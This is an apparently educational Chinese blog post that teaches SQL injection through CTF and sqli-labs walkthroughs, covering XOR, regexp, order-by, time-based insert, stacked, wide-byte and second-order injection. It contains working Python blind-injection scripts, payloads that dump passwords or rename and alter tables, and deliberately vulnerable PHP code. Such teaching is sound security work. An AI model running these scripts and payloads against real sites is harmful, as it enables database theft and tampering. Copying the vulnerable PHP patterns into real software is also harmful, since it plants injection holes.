SQL注入中的点点滴滴

5

盲注中的多种技巧

XOR盲注(异或盲注)

基本原理

异或是一种逻辑运算。

运算法则:

两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1);

null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。

mysql里异或运算符为^ 或者 xor

两个同为真的条件做异或,结果为假

两个同为假的条件做异或,结果为假

一个条件为真,一个条件为假,结果为假

null与任何条件(真、假、null)做异或,结果都为null

题目环境

http://123.206.31.85:49167/index.php

xor注入的基本思路是:在MySQL中异或的符号是^,该符号可以起到一种逻辑判断的作用,0^1=10^0=0这样可以形成一种布尔盲注的效果,对其中的字符进行逐一猜解即可。

例题解析

首先请求题目发现是一个登陆框

一般对于登陆框的注入思路也就那几种,这边考察的注入出admin账户的密码。这里尝试简单的fuzz一下,发现其中过滤了or逗号,空格注释符等号等特殊字符,并且关键库information_schema也被过滤了。但是可以尝试一下payload:admin'^(ascii(substr((password)from({})))>{})#,既然是盲注,那就直接上脚本好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
#-*- coding:utf-8 -*-

import requests
import sys

url = 'http://123.206.31.85:49167/index.php'
proxies = {
'http://': '127.0.0.1:8080',
}
order = 1


while True:
for i in range(23, 129):
data = {
"username":"admin'^(ascii(substr((password)from({})))>{})#".format(order, i),
"password":"asd"
}
r = requests.post(url = url, data = data, proxies=proxies, timeout = 3)
#print(r.text)
if 'password error!' in r.text:
sys.stdout.write(chr(i))
sys.stdout.flush()
order += 1
break

跑出admin账户的密码md5值:51b7a76d51e70b419f60d3473fb6f900

尝试登录无果,直接使用MD5破解,得到明文字符skctf123456

直接尝试登录得到flag:SKCTF{b1iNd_SQL_iNJEcti0n!}

regexp/relike盲注

注入原理

REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。
应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

regexp基本用法

  • 语法
1
select (select 语句) regexp '正则'
  • 标准查询语句,直接返回查询结果
1
select username from users where id=1;
  • 正则匹配,若匹配,则返回1,不匹配返回0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select (select username from users where id=1) regexp '^d';
+-----------------------------------------------------+
| (select username from users where id=1) regexp '^d' |
+-----------------------------------------------------+
| 1 |
+-----------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select username from users where id=1) regexp '^e';
+-----------------------------------------------------+
| (select username from users where id=1) regexp '^e' |
+-----------------------------------------------------+
| 0 |
+-----------------------------------------------------+
1 row in set (0.00 sec)

注:^表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0

  • 使用regexp表示where条件中的=号
1
2
3
4
5
6
7
8
9
10
11
mysql> select * from users where password regexp '^ad';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+----------+
5 rows in set (0.00 sec)

使用场景

=、in、like被过滤的情况下使用

^被过滤,可使用$来从后往前进行匹配

  • 常用regexp正则语句:
1
2
3
regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r' #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
  • regexp在联合查询中的使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select username,password from users where id=1 union select 1,database() regexp '^s';
+----------+----------+
| username | password |
+----------+----------+
| Dumb | Dumb |
| 1 | 1 |
+----------+----------+
2 rows in set (0.00 sec)

mysql> select username,password from users where id=1 union select 1,database() regexp '^x';
+----------+----------+
| username | password |
+----------+----------+
| Dumb | Dumb |
| 1 | 0 |
+----------+----------+
2 rows in set (0.00 sec)

sqlilab中简单场景的运用

sqli-labs靶场Less-8是一个简单的布尔盲注实验环境,这个实验环境是没有经过任何过滤的。

  • 判断库的长度

'or (length(database())=8)--+ #返回正常

  • 判断库名

' or database() regexp '^s'--+ #返回正常

' or database() regexp 'y$'--+ #返回正常

既然这么简单,就直接上个脚本一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/local/env python3
# -*- coding:utf-8 -*-

import requests
import string
import sys

strs = string.printable

payloads = {
"dbname": "'or database() regexp '^{}'--+",
"table_name": "'or (select table_name from information_schema.tables where table_schema=database() limit 1,1) regexp '^{}'--+",
"column_name": "'or (select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1) regexp '^{}'--+",
"data": "'or (select username from users limit 1,1) regexp '^{}'--+",
}

url = "http://192.168.1.191:32769/Less-8/?id="

temp = ''
while True:
for str in strs:
payload = url + payloads['data'].format(temp + str)
r = requests.get(url = payload)
if 'You are in' in r.text:
sys.stdout.write(str)
sys.stdout.flush()
temp += str
break

例题实战

简单请求发现存在robots.txt,请求后提示存在hint.txt

提示中告诉了我们一个语句select * from users where username='$_POST["username"]' and password='$_POST["password"]';

并且成功注入出密码才可以得到flag

首先fuzz一下,看看过滤了哪些东西

我们发现单引号 双引号被过滤了

union select被过滤了

= like也被过滤了

至此我们大部分的过滤思路都被限制了

根据注入语句这里我们想到单引号逃逸这个手段

看fuzz结果,我们发现反斜杠没有被过滤,因此我们可以使用反斜杠将单引号转义,这要可以实现sql语句的逃逸

根据输入sql语句,假设username的值为admin\,密码是or 1#,那么这个语句的结果将会如下:

1
select username,password from user where username='admin\' and password=' or 1#'

这样由于单引号被转义, 其中的and password=这部分就成了username的一部分,or 1就逃逸了出来

直接尝试regexp盲注方式,构造payload为password:or password regexp binary '^A'#

这里的binary关键字是用于区分大小写,由于直接 regexp 匹配在 3.23.4 版本后是不分大小写

这里还由于过滤的单引号,所以对带入的匹配字符进行16进制加密

这边直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/local/env python3
# -*- coding:utf-8 -*-

import requests
import string
import sys

str = [ord(i) for i in string.printable]
url = "http://192.168.1.191:2333/index.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 F,irefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection': 'close'
}

# 定义字符串16进制转码函数
def ord2hex(str):
result = ''
for i in str:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result

temp = ''
for i in range(50):
for j in str:
password = ord2hex('^'+ temp + chr(j))
#print(password)
payload = 'or password regexp binary {}#'
data = {
"username": "admin\\",
"password": payload.format(password)
}
r = requests.post(url = url, data = data, headers = headers, timeout= 1)
if 'BJD need' in r.text:
sys.stdout.write(chr(j))
sys.stdout.flush()
temp += chr(j)
break

注入出密码为:OhyOuFOuNdit

登录后直接获取flag

order by盲注

order by 子句

作用:对查询返回的结果按一列或多列排序。

语法格式:ORDER BY {column_name [ASC|DASC]}[,...n]

注意:order by 语句默认按照升序对记录进行排序

基础知识

1
2
select id,username,password from users order by username,password desc;
select id,username,password from users order by username;

如果是按照列中的字符串来排序的话,是按照字符串的首字母以其在26字母表中的位置来排序的。
如果order by的后面有多个参数,则会先照第一个参数进行排序,如果在按照第一个参数排完序之后,其中有重复的,则这些重复的会再按照第二个参数进行排序

order by 盲注概念

根据不同的列排序,会返回不同的结果,因此这里可以使用类似于bool型盲注的形式来注入,即使判断结果与某种返回内容相关联,来实现注入。
(即:所谓的order by盲注就是以其排序结果为基准,来判断注入语句是否被成功执行,从而来进行暴力猜解)

order by常用盲注语句

1
2
3
4
5
6
select * from user order by id|(if(substr(database(),1,1)='a',1,2));
当前数据库名称的首字母为a时id和2‘与’,否则和3‘与’。 (造成两种不同的排序)
select * from user order by id|(if(substr(select flag from CTF),1,1)='a',1,2));
表CTF中flag字段的首字母为a时id和2‘与’,否则和3‘与’。(造成两种不同的排序)
select * from user order by id|{select (select flag from level1_flag) regexp payload}
flag匹配成功和 1 “与”,匹配失败和 0 “与”。 (造成两种不同的排序)

sqlilab-less48

请求传入sort变量,返回结果为查询的排序列表;输入不同查询sort,返回不同查询排序列表;

?sort=id

?sort=username

构造盲注语句,根据返回不同的排序列,猜解数据结果值;

?sort=id|(if((substr(database(),1,1)='s'),1,2))匹配返回标准排序结果

?sort=id|(if((substr(database(),1,1)='a'),1,2))不匹配返回另外的排序结果

根据上述情况,直接编写盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/localenv python3
# -*- coding:utf-8 -*-

import requests
import sys

url = "http://192.168.1.191:32769/Less-48/?sort=id"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 F,irefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection': 'close'
}
payloads = {
"dbname": "|(if((ascii(substr(database(),{},1))={}),1,2))",
"tbname": "|(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),{},1))={}),1,2))",
"clname": "|(if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),{},1))={}),1,2))",
"clname": "|(if((ascii(substr((select username from users limit 2,1),{},1))={}),1,2))"
}

for i in range(50):
for j in range(48, 128):
payload = url + payloads['clname'].format(i, j)
#print(payload)
content1 = requests.get(url = url, headers = headers, timeout= 1).text
content2 = requests.get(url = payload, headers = headers, timeout= 1).text
if content1 == content2:
sys.stdout.write(chr(j))
sys.stdout.flush()
break

insert into注入

语句基础

INSERT INTO 语句用于向表中插入新记录。

语法格式

INSERT INTO 语句可以有两种编写形式。

第一种形式无需指定要插入数据的列名,只需提供被插入的值即可:

1
2
INSERT INTO table_name
VALUES (value1,value2,value3,...);

第二种形式需要指定列名及被插入的值:

1
2
INSERT INTO table_name (column1,column2,column3,...)
VALUES (value1,value2,value3,...);

真题案例

题目为Bugku中的一道insert into注入题。

题目源码

题目一开始给定了我们源码,并且hint中提示:写一个python脚本吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="insert";
$pass="1234qwer";
$db="clientip";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
echo "\r\n";
echo "<br>";
$sql="insert into client_ip (ip) values ('$ip')";
echo $sql;
mysql_query($sql);
?>

题目分析

根据题目给定的源码可以发现注入点在http头的x-forwarded-for处;

且题目中过滤逗号,那么常规的update和报错注入和if语句都没法使用;

这里可以使用select case when xxx then xxx else xxx end;语句来代替if语句的使用;

题目中过滤了逗号,substr的中的逗号,可以使用from x for x的方式来替换;

知识储备

select case xxx when xxx then xxx else xxx end;

漏洞利用

注入点是在http头的x-forwarded-for处;

payload:+' and (select case when (length(database())=8) then sleep(5) else 1 end) and '1'='1

延时5秒响应

payload:+' and (select case when (length(database())=5) then sleep(5) else 1 end) and '1'='1

没有延时直接响应

image-20210128104911961

根据上诉返回情况,我们可以根据页面的响应的时间不通过,对其内容进行逐一猜解,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/localenv python3
# -*- coding:utf-8 -*-

import requests
import sys

URL = "http://192.168.1.191:32771/"
PAYLOADS = {
"dbname": "'+(select case when (ascii(substr(database() from {} for 1))>{}) then sleep(3) else 1 end) and '1'='1",
"tbname": "'+(select case when (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1 offset 1) from {} for 1))>{}) then sleep(3) else 1 end) and '1'='1",
"clname": "'+(select case when (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1 offset 0) from {} for 1))>{}) then sleep(3) else 1 end) and '1'='1",
"clcontent": "'+(select case when (ascii(substr((select flag from flag) from {} for 1))>{}) then sleep(3) else 1 end) and '1'='1"
}


def get_url_request(url, final_payload):
try:
result = requests.get(url = url, headers = final_payload, timeout = 5).elapsed.total_seconds()
except TimeoutError as e:
print("请求超时。。。")
return result

# 二分法
def merge_serach(url, payload):
# 定义循环数据列表
range_list = [x for x in range(0,128)]
min = 0 #代表列表下标的起始值
max = len(range_list) - 1 #代表列表下标的结束值
while True:
mid = (max + min) // 2 #获取列表下标的中间值
#定义最终payload格式
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 F,irefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection': 'close',
'x-forwarded-for': payload.format(mid)
}
final_payload = headers
#print(final_payload['x-forwarded-for'])
# 判断页面响应时间获取字符结果
result = get_url_request(url, final_payload)
if result > 2:
min = mid
else:
max = mid
if min == max - 1:
if result > 2:
return max
return min+1

def main():
for i in range(1, 50):
payload = PAYLOADS['clcontent'].format(i, '{}')
result = merge_serach(URL, payload)
sys.stdout.write(chr(result))
sys.stdout.flush()

if __name__ == "__main__":
main()

运行结果如下:

堆叠注入

堆叠注入原理

堆叠注入和uinon联合注入有异曲同工之妙,用法类似,只是不需要堆叠注入使用的结束前面的sql语句:

在使用(分号)结束一个sql语句后,可以继续构造下一条sql语句;

select * from admin;drop table admin;//执行这个语句先查询admin表内容,后删除admin表;

堆叠注入的优缺点

优点:

使用union联合注入时,须保证前后两个sql语句的可显示字段数量要相同,使用堆叠注入则不需要考虑这个限制,其可以执行任意语句;

缺点:

堆叠注入并不是每个环境下都可以执行,有可能会受到api或者数据库引擎不支持的限制;

目前已知支持堆叠注入的有:

asp sql server
ASP.NET SQL SERVER
PHP SQL SERVER MYSQL

堆叠注入的利用(sqlilab-less38)

带入单引号,数据返回错误信息,判断当前存在注入点

http://192.168.2.220:8080/Less-38/?id=-1'

image-20210128145525282

使用order by判断字段位数

当带入的值为3时,页面响应正常

http://192.168.2.220:8080/Less-38/?id=1'order by 3--+

image-20210128145613197

当带入的值为4时,页面响应异常,判断判断当前表中字段长度为3

http://192.168.2.220:8080/Less-38/?id=1'order by 4--+

image-20210128145657274

使用联合查询获取所有库名

http://192.168.2.220:8080/Less-38/?id=-1' union select 1,group_concat(schema_name),2 from information_schema.schemata --+

image-20210128145734590

新增库判断是否存在堆叠注入

http://192.168.2.220:8080/Less-38/?id=-1';create database duidietest--+

利用查库重新获取当前mysql的所有库名,发现新增库名成功,则判断是堆叠注入

http://192.168.2.220:8080/Less-38/?id=-1' union select 1,group_concat(schema_name),2 from information_schema.schemata --+

image-20210128145837778

真题环境复现(强网杯2019-随便注)

环境复现

cd sql_injection_qw2019_stacked

docker-compose up -d

题目分析

提交框带入单引号,返回报错语句,判断存在注入;

image-20210128154554855

使用order尝试字段数量猜解;

1' order by 2#返回正常

image-20210128161307478

1' order by 3#返回错误,判断字段数量为2

image-20210128161402835

尝试使用union select语句注入出库名;

1' union select 1,database()#

image-20210128161507494

根据返回信息发现存在过滤,常用敏感字符均被过滤;但是没有过滤分号,尝试使用堆叠注入获取表名;

1';show tables;#

image-20210128161756298

尝试获取words表中的字段;1';show columns from words;#

image-20210128162804831

尝试获取1919810931114514表中的字段;

1';show columns from ``1919810931114514``;#注:若表名为纯数字时,查询字段需要将表名用反引号包裹起来

image-20210128164413693

目前已经获取到了表中flag的字段名,怎么获取字段内容是关键点;

解法一:使用renamewords表更名为其他的表名;在把表1919810931114514改成words;给新words表添加新的列名id;将flag改名为data;

payload1:

1
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

image-20210128180359265

payload12:

1
1' or 1=1#

image-20210128180506380

解法二:

1
2
3
将select * from ` 1919810931114514 `进行16进制编码;
在构造payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

image-20210128180652574

解法三:

payload:

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

image-20210128180652574

宽字节注入

宽字节注入的概念

• 宽字节是相对于ascii这样的单字节而言的;像GB2312、GBK、GB18030、BIG5、Shift_IIS等这些都是常说的宽字节,实际上只有两个字节

GBK是一种多字符编码,通常来说,一个gbk编码汉字、占用2个字节。一个utf-8编码的汉字,占用3个字节

宽字节注入的原理

GBK 占用两字节,ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df'PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\',其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQLGBK的编码时,会认为%df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

宽字节注入前提条件

简单理解:

数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

深入讲解:

要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析SQL语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 GBK 字符集都是有的, UTF-8GB2312 没有这种字符(也就不存在宽字节注入)。

宽字节注入的利用(sqlilab-less38)

测试页面存在注入点

首先我们用常规测试方法带入单引号,判断当前页面是否存在注入。如下图所示:

image-20210128150312508

通过图片我们发现当前页面数据回显结果是正常的,下面提示信息我们看到,原来我们带入的单引号被增加一反斜杠转义了,所以导致我们的单引号带入失效。这边我们可以联想到源码中可能用了addslashes函数等我们带入的特殊字符进行了转义。

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}

// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

通过源码我们看到mysql设置了gbk的编码方式,这边我们想到宽字节注入。

http://192.168.31.220:8080/Less-32/?id=1%df'

image-20210128150415389

我们发现此时页面报错,这是php使用addslashes函数将%df'中的单引号转义,形成%df\'mysqlgbk编码把%df\认为是一个汉字,此时单引号就成功逃逸出来,产生了注入。后面使用常见的联合注入即可。

猜解数据名

首先使用order by函数判断当前库的字段数量

http://192.168.31.220:8080/Less-32/?id=-1%df' order by 4--+

image-20210128150542009

带入参数4时,数据库报错。判断当前字段数量为4

http://192.168.31.220:8080/Less-32/?id=-1%df' union select 1,database(),3--+

image-20210128150618966

获取到当前数据库的名称为security

猜解库中的表名

http://192.168.31.220:8080/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

image-20210128150640389

获取当前库下的表名为emails,referers,uagents,users

猜解users表中的字段名

http://192.168.31.220:8080/Less-32/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x27736563757269747927 and table_name=0x27757365727327--+

image-20210128150840816

获取字段内容

http://192.168.31.220:8080/Less-32/?id=-1%df' union select 1,group_concat(username,password),3 from users--+

image-20210128150906850

二次注入

注入和二次注入的区别

sql注入流程:

• 1.攻击者在注入点输入恶意sql语句,通过http请求提交;

• 2.服务器中的应用程序处理恶意的sql,并向攻击者返回注入结果;

二次注入流程:

• 1.攻击者在注入点提交恶意sql语句;

• 2.通过http请求,将恶意sql保存到应用程序的数据库中;

• 3.攻击者第二次提交http请求;

• 4.服务器处理第二次http请求,检索存储在数据库中的恶意sql,构造sql语句;

• 5.服务器向攻击者返回注入结果;

二次注入的原理

数据首次插入到数据库中时,应用程序会以( addslashes 或者是借助get*magic*quotes_gpc 对其中的特殊字符进行转义)安全的方式处理这些数据,但是,这些数据可能会被应用程序本身或者其他的后端进程会以危险的方式处理这些数据,从而造成了二次注入。

image-20210128151053028

二次注入的利用

判断注入点

在Less-24实验中,首页的登录界面进行相应的判断测试,测试判断是否存在注入点。但是不管怎么构造参数带入均发现页面如下情况,没有任何其他变化,所以判断此处无注入点。

image-20210128151119696

image-20210128151124989

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function sqllogin(){

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}

}

通过代码分析发现,数据接收参数login_userlogin_password都会经过函数mysql_real_escape_string()处理字符串。

此函数的具体定义如下:

mysql_real_escape_string函数转义SQL语句中使用的字符串中的特殊字符.

受影响字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
\x00

\n

\r

\

'

"

\x1a

使用此函数后,基本上使用这个点注入不太可能。

首页的登录页不行,发现登录页下面还有两个功能。一个是忘记密码,你一个注册新用户。

这里我们首先注册一个test用户,密码为111111,然后使用此用户进行登录,登录后的页面如下图所示:

image-20210128151147487

我们发现登录成功之后是一个用户的登录后台页,并且该页面支持当前用户的密码修改,修改密码的代码页名称为pass_change.php.

我们查看当前页面修改密码的源代码,并进行相应的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
if (isset($_POST['submit']))
{


\# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";

}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}

通过源码我们可以看到$username是直接从session中读取的,并且没有进行参数的转义处理。curr_passre_pass经过了函数mysql_real_escape_string转义处理。因此我们可以直接控制username这个变量进行相关注入操作。

用户注册成功后,会将用户的基本信息写入到数据库中存储,如下图所示:

image-20210128151215700

前面我们提到mysql_real_escape_string函数可以将字符串转义直接写入到数据库中存储。

并且由源码我们知道修改密码的SQL代码为:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

username变量是直接读取数据库的内容,并且没有经过转义。

这边的思路是,可以直接构造一个test'#用户,新建此用户,再登录进行二次用户调用修改密码的时候,原SQL语句变为:

$sql = "UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass' ";

由于#号注释掉了后面的语句,所以,我们本来修改的test'#的密码,但实际上修改了test的密码,而且test'#当前密码可以任意输入。

创建test'#用户

用户名test'# 密码88888 创建完成后,正常登陆

image-20210128151235080

查看数据,发现用户test'#已被成功写入数据库,如下图所示:

image-20210128151249140

修改当前用户密码

修改当前用户新密码为66666,并且用户的当前密码为888888,此处可以输入任意的密码为222222,可以正常修改密码,如下图所示:

image-20210128151303856

查看数据库,发现test用户被正常修改,如下图所示:

image-20210128151316265

由此就是整个二次注入的利用过程,这边我门只要相应的构造管理员的用户名就可以任意修改管理员账户的用户名和密码。

真题环境复现(网鼎杯2018-Unfinish)

题目复现

使用buu平台复现

网鼎杯2018-Unfinish

题目分析

首先请求发现是一个登录页,使用几个常用用户名和密码尝试登录,没有任何信息;

使用web扫描器,发现存在register.php注册功能页面,尝试注册一个用户并登录;

image-20210128193107498

登录成功后,我们可以在登录成功页发现登录用户的用户名;

image-20210128193219077

那么这种题型我们能想到就是二次注入的可能性最大;

并且注册时有个特点,就是注册成功会得到302的状态码并跳转至login.php;如果注册失败,只会返回200的状态码;

并且里面有一定的字符串过滤,简单测试,大概过滤了逗号,information_schema等字符;

一般过滤了information_schema字符的话,就很少可能在再能直接拆解库表字段名,所以这里猜测是flag;

payload:0'%2bascii(substr(database() from 1 for 1))%2b'0;注册后成功获取到库名第一个首字母的ascii值;

image-20210129133636903

构造获取flagpayload;0'%2bascii(substr((select * from flag) from 1 for 1))%2b'0

image-20210129134724322

按照此方法以依次猜解flag的字段内容即可,这里直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/local/env pyton3
# -*- coding:utf-8 -*-

import requests
import re
import time
import sys


register_url = 'http://34de0eee-d1e3-42cd-a1cd-5127e8032f8f.node3.buuoj.cn/register.php'
login_url = 'http://34de0eee-d1e3-42cd-a1cd-5127e8032f8f.node3.buuoj.cn/login.php'

email = "admin{}@qq.com"
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0"

for i in range(1, 50):
time.sleep(1)
data = {
'email': email.format(i),
'username': payload.format(i),
'password': "admin"
}
#print(data)
r1 = requests.post(url = register_url, data = data)
r2 = requests.post(url = login_url, data = {'email': email.format(i), 'password': "admin"})
#print(r2.text)
pattern = r'<span class=\"user-name\">\s*(\d{1,10})\s*<'
flag_str = re.findall(pattern,r2.text)[0]
sys.stdout.write(chr(int(flag_str)))
sys.stdout.flush()

image-20210129143131058

作者

丨greetdawn丨

发布于

2021-02-01

更新于

2022-04-01

许可协议

评论